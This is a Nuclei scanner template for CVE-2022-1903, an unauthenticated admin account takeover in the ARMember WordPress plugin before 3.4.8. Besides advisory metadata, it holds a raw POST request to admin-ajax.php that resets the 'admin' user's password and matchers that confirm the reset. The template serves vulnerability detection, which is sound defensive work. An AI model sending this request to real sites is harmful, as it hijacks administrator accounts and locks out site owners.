nuclei-templates/http/cves/2022/CVE-2022-1903.yaml

id: CVE-2022-1903

info:
  name: ARMember < 3.4.8 - Unauthenticated Admin Account Takeover
  author: theamanrawat
  severity: high
  description: |
    The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
  reference:
    - https://wpscan.com/vulnerability/28d26aa6-a8db-4c20-9ec7-39821c606a08
    - https://wordpress.org/plugins/armember-membership/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1903
  remediation: Fixed in version 3.4.8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2022-1903
    cwe-id: CWE-862
    epss-score: 0.2399
    cpe: cpe:2.3:a:armemberplugin:armember:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    framework: wordpress
    vendor: armemberplugin
    product: armember
  tags: cve,cve2022,account-takeover,wpscan,wordpress,wp-plugin,wp,armember-membership,unauthenticated

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Your Password has been reset"
          - "arm_success_msg"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200